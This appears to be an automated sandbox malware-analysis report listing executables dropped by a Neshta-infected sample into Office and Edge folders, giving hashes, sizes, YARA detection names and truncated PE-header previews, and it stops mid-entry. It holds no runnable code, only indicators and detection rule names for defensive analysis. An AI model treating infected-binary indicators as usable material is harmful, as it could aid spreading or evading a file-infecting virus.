                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1271952
                                                                  Entropy (8bit):4.084096712356835
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85C93ppPpNpDpspp/pCp0pmppdpspppRppMpLp0ppppbpQp2pphpSpXpQppapG:k9eKQSNdhnSzv
                                                                  MD5:892E75C95404B2DD9A4753F53B530F5E
                                                                  SHA1:6B9A7C5827A767520B61E3192BC3951466CACB35
                                                                  SHA-256:8EE17679C7E631E0A80CE70778CB3A7BBD044E5C57BDC65526973B421EED3AFA
                                                                  SHA-512:E7509867E5D3AE99368882A008921086A38F8B890058DCE61EF4C95CE20B7F9B5B1E88F4F038BC792F70888349B27E978F559DE287D7E89C979777086FA1D286
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):4099760
                                                                  Entropy (8bit):3.7180860871313963
                                                                  Encrypted:false
                                                                  SSDEEP:12288:uBKs7fvZIFpCYVIVN2mGsb8HtVLaHw3j4cLbUBRjLFP29DyZbT9gb/m06aCzE6h9:uBKszX0FjOeblHiled/k
                                                                  MD5:C192144B8943B415548AF24878815096
                                                                  SHA1:4DADFF2BCB636AE059DFD73067DC938EEF5CC725
                                                                  SHA-256:45AF4FF535E765EB6973B13C76A80D6A9F4FA4D0B3660FB5D5831718DAC21C38
                                                                  SHA-512:C50A756D3288E1F779E118892C21C3908503D6D10FB8DDFAAB4F34C5D13A71DCE97933B6977B3AB83E344B0741305532BBBB5C9AF1B6B7F6CB1E1526F51330FA
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1273488
                                                                  Entropy (8bit):4.319301892791611
                                                                  Encrypted:false
                                                                  SSDEEP:1536:JxqjQ+P04wsmJC4qYvbZthqyEATS583ONoTqzaezuC8zFtxzzqO9uF:sr85Cf6bZt+ATS583ONo4aezJ8ZfqiA
                                                                  MD5:025B19077CDB23D9DC885FEBF629CDC5
                                                                  SHA1:B7930EDF5AF2089834CFA6DC190AF5EDAE20831D
                                                                  SHA-256:78CFA64C50350F824AA2C627FB54D8F06E444810669198074A06CC5AE743D62F
                                                                  SHA-512:C1134FFEE3CE07CB19BD9AFED8986C98588A27EFDB6E8BE72B1571FFF7B18F4014BACE244074FE2846921EDBEAB308058FE93DFE7E17CCB46C225035E4513F68
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):124056
                                                                  Entropy (8bit):5.727061682781764
                                                                  Encrypted:false
                                                                  SSDEEP:1536:JxqjQ+P04wsmJCMwu7mzj9zNtP9zNps8Q:sr85CMLmzj9P95psb
                                                                  MD5:9A2455DBF03A4E060F7BCCA43DD3D64E
                                                                  SHA1:D4FEB7DEF1FEB03CB7E86EB57D43BD69E8596EAE
                                                                  SHA-256:0102394DCA78E8B630B3C9613E0C9C620944218FDA84E1E129415E6F972495C3
                                                                  SHA-512:DEE619AC553F0DE06058BD118164D4A8E4B93A7F20D4B098E5D5AF9338CBD12F5CE94F054B92FDF435BE87596FD154904968FA96970887993418A3B41EAEAFD5
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):2970664
                                                                  Entropy (8bit):3.8530507327775085
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85C4Nd0qVmvzC1SvXKo3NzbsZ6DdIAZcbEcofUnpfRII8Lp9qgN3WJp0Rf5NGu:k9I/V/CfDhNG5sMXjjzmEPoL
                                                                  MD5:AB3E9B8C0565CB076490949DF074D582
                                                                  SHA1:F5BEC2D8CCF13A10D82C27B9A14289A009DDDDEB
                                                                  SHA-256:1C4DA1D108B71EE639AB846128E5F08D6E5EFA4D5BE02C2862597BD4BDD96DE7
                                                                  SHA-512:532493C141AC8E3B5FFD99E0F13AE8A26E4838AFE7B282A02C62B1BD2B7083DD04EE1E39B8A2BFC559DBB7B8CFB6D64D146BB20593A0FAC64E41DB5D81EE7287
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):3531712
                                                                  Entropy (8bit):3.78009314420001
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9msSR7PYKzz38YwZItvsDu7DbDhRAUzHW:ZPYmLWSDBy
                                                                  MD5:3AF0E40A55AEE11DC01E0F1943041494
                                                                  SHA1:ED8F0489550B78892E6FDF80784CF5D672AB3F2A
                                                                  SHA-256:8A8212E9F7615A590E3BD2AF07E650FEA60CAC875388F57F7AD1CBADD65A11E9
                                                                  SHA-512:54741EB3ACEADE514E1E305A9D4937C59266DFC20F108F9A87C56EF283519A8CC6DAAE1953706A20860F390520C48C0BB5A4482C751E335B45A0E5858967D765
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):4319272
                                                                  Entropy (8bit):3.8126753798312922
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9GmRfvlTZY/C3ul0ywb/uXMo+YJ7M41zXLWIB:z+6M+595B
                                                                  MD5:A914483FA2C2F86E415633657D33D59D
                                                                  SHA1:E687C9ADB19340050BB434F1A309290C72D0DBD1
                                                                  SHA-256:42B15769C1B7B74FFD9022A9E377783EE59F1F75688E1345D1A09DBADBD3102C
                                                                  SHA-512:1784002A4E99F5DC77C4DEE11FB25E413A2840F4FBA5C001F40BADE7A8DBD172B363BF6EBF66883FA2A3FC0B03E3ACDD5FC485EF7DD3DA4493CDF93D8C2EA4DE
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0409-0000-0000000FF1CE}\misc.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1082008
                                                                  Entropy (8bit):3.7745537489281356
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85Cko4TUawK1uT040i0ougmQmJDJnJ+20FxPlJPPSSfzZ9Ar9oN:k9V243xmQm59UtUSfz3
                                                                  MD5:3257CDD51A6A354CEE4BA01A54D63EAE
                                                                  SHA1:5C1A13555616FC7AD988E3A5A847D9173FB70513
                                                                  SHA-256:80701AF68D14CA8ADBEA6729B8B714B916A9A7654B76748D6E43466C7665249F
                                                                  SHA-512:CFBF67F80E74DE05D945B8BCA0894047D96F23C4F9BB31EBD0AD77BF7CE2F20036C8A2F8CC3281680BD0FB71EF24ECA4FA5E795CC930234B59D4598E15BBC3B9
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-040C-0000-0000000FF1CE}\misc.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1082008
                                                                  Entropy (8bit):3.7745537489281356
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85Cko4TUawK1uT040i0ougmQmJDJnJ+20FxPlJPPSSfzZ9Ar9oN:k9V243xmQm59UtUSfz3
                                                                  MD5:3257CDD51A6A354CEE4BA01A54D63EAE
                                                                  SHA1:5C1A13555616FC7AD988E3A5A847D9173FB70513
                                                                  SHA-256:80701AF68D14CA8ADBEA6729B8B714B916A9A7654B76748D6E43466C7665249F
                                                                  SHA-512:CFBF67F80E74DE05D945B8BCA0894047D96F23C4F9BB31EBD0AD77BF7CE2F20036C8A2F8CC3281680BD0FB71EF24ECA4FA5E795CC930234B59D4598E15BBC3B9
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0C0A-0000-0000000FF1CE}\misc.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1082008
                                                                  Entropy (8bit):3.7745537489281356
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85Cko4TUawK1uT040i0ougmQmJDJnJ+20FxPlJPPSSfzZ9Ar9oN:k9V243xmQm59UtUSfz3
                                                                  MD5:3257CDD51A6A354CEE4BA01A54D63EAE
                                                                  SHA1:5C1A13555616FC7AD988E3A5A847D9173FB70513
                                                                  SHA-256:80701AF68D14CA8ADBEA6729B8B714B916A9A7654B76748D6E43466C7665249F
                                                                  SHA-512:CFBF67F80E74DE05D945B8BCA0894047D96F23C4F9BB31EBD0AD77BF7CE2F20036C8A2F8CC3281680BD0FB71EF24ECA4FA5E795CC930234B59D4598E15BBC3B9
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-006E-0409-0000-0000000FF1CE}\misc.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1082008
                                                                  Entropy (8bit):3.7745537489281356
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85Cko4TUawK1uT040i0ougmQmJDJnJ+20FxPlJPPSSfzZ9Ar9oN:k9V243xmQm59UtUSfz3
                                                                  MD5:3257CDD51A6A354CEE4BA01A54D63EAE
                                                                  SHA1:5C1A13555616FC7AD988E3A5A847D9173FB70513
                                                                  SHA-256:80701AF68D14CA8ADBEA6729B8B714B916A9A7654B76748D6E43466C7665249F
                                                                  SHA-512:CFBF67F80E74DE05D945B8BCA0894047D96F23C4F9BB31EBD0AD77BF7CE2F20036C8A2F8CC3281680BD0FB71EF24ECA4FA5E795CC930234B59D4598E15BBC3B9
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):582184
                                                                  Entropy (8bit):6.400758373600043
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9KLWET8DS698nGX2OduCwUJWh/JmmS3DAjqnkrzFoEh+vMKC239YUFgBdQ/:DLxT8DhyiLduCe/lSpn6zOvYUFg4/
                                                                  MD5:C0386A35F92FB82637471B03FCA1F0CA
                                                                  SHA1:08E07F04682C582336D3531610A20DCD38CD43B9
                                                                  SHA-256:77AD987963ACDD9D867BDD33F3778088B9AC461334BC4A1E49A4982D325E702F
                                                                  SHA-512:E6449FB51F16A1674365D4CE644DC0148199524E9D9DACDE0FB17B26C0C4652C924BB6CAF284AF125958632B9BCB111069EB6FC9EE1A26D83B15F67EE8DA365B
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):3837992
                                                                  Entropy (8bit):6.4449937551945595
                                                                  Encrypted:false
                                                                  SSDEEP:49152:tB1sstqMHiq8kBfK9a+cOVE/TqEpEepIkRqqUu9wg6KFYso8l8EK:5HzorVmr2FkRpdJYolA
                                                                  MD5:D7932DE11B8AD54A41413381EAC41AC2
                                                                  SHA1:8B383BA02414803CFD515A8384434AD5CBB70231
                                                                  SHA-256:DC1F4FD1F3F718C6965F038472EDD640437CBE0BD2B77E21945073AF404CB90B
                                                                  SHA-512:48C561E17BD75181D3ADEDB41F1172BB95163E3DC5792DA212C218F80878D45D3C49BEEFE44E76BCECA77EC644A83A16C59316CC2178A976D91347D389B3741D
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):161832
                                                                  Entropy (8bit):6.154443017106145
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CX2VSd2ga8KActASiZAkXS1xU5M3XgcoT0cs4qIm6Y6:k9mVSktVjv3Xg5T0FIY6
                                                                  MD5:6A0721A64003242C799CF2DD85B0713D
                                                                  SHA1:AC7451D1A042B9980D506B43237C5C8A3D218989
                                                                  SHA-256:88EB264B7A72C62D8FC399469E7E573BEE906C8939513F3A869656E5B667BBBD
                                                                  SHA-512:B3F3E9DB4126A6479E6CB455FE8BCE1F8BB108270C2BA9C422E17932E901A65CDFED66DAF2A11C082BC924EC9EA51484418F4F09990848B91912BD3E1EB63AD7
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1827880
                                                                  Entropy (8bit):6.540770888228441
                                                                  Encrypted:false
                                                                  SSDEEP:24576:bhDdVrQwm5ztlU0A7fMAHmpmZ3QXE/0/lVaLpmasGvP0:bhDdVrQ95RW0Y9HyWQXE/09Val0GE
                                                                  MD5:624A5B15DE2385F6CA42DDCE0E24D109
                                                                  SHA1:13FE13198A9BFA24774EEA44759471B31EA439E7
                                                                  SHA-256:A7DF6A45B54B30014DB94309F3BBA50A1EA8EFB8EAD01682BAA6826E533418C5
                                                                  SHA-512:CE244B2DAF739BFDC491C28129CA6504966CAEFEA0BBE16871522089A825133F2C1609D51266058A62D767F3624C514421F09D50DAC5A11CE26B5C8B804A641A
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1297448
                                                                  Entropy (8bit):6.514786717345656
                                                                  Encrypted:false
                                                                  SSDEEP:12288:bdoA0Eh2XptoQZRuefMYR6RrAJU9CsxmMocSipEylqFfouDMA+nkSddSDBDIq:b70E0ZCQZMip6Rrt9RoctGfmdd0
                                                                  MD5:C9FE3D4AA1438A059AAE69A5D8FA4269
                                                                  SHA1:288D3F38B4A6797E15187C00A24D0AAD1B5BAF60
                                                                  SHA-256:913E86233F11A6A269DA1A324D43C9FF737A9AE0DE1D9DE59D0AD961137B9F2A
                                                                  SHA-512:0775ECDC44DB15BD92B103F75410BCB4079D7165C6FACB7CD0DBA091DB94E4A6648A85563FE24E33D862E16CBA73993461533D4CE196078FAF6AA9030D39C288
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):4251688
                                                                  Entropy (8bit):6.5065813007912885
                                                                  Encrypted:false
                                                                  SSDEEP:49152:vpawZh+vD5oLv9eqJ/iUPnspBu/MLPgyLMLQB4gQDyJ0ryMOAqk9l/hO2y/BT:EehFLvTQDpB5oSOmlBl
                                                                  MD5:23A855DD7FA34F616F73B392E464E216
                                                                  SHA1:EFD849CB22D1D33B16D6FECD54C318B0A6E222EA
                                                                  SHA-256:E198D71BC75B0E61DD2F61080062B4E41ACDFC7F7FF148CB11839DE3E0523A27
                                                                  SHA-512:8B4AF629B2022F10FF2D3FD4D4C73F9B23CE085B08B70FB29044D03F0FBC498BADF4D62854378FB0A0E6A2DBE2848D0B83550C3F6C3C08CF05C50C81B04B6A5C
                                                                  Malicious:true
                                                                  Yara Hits:
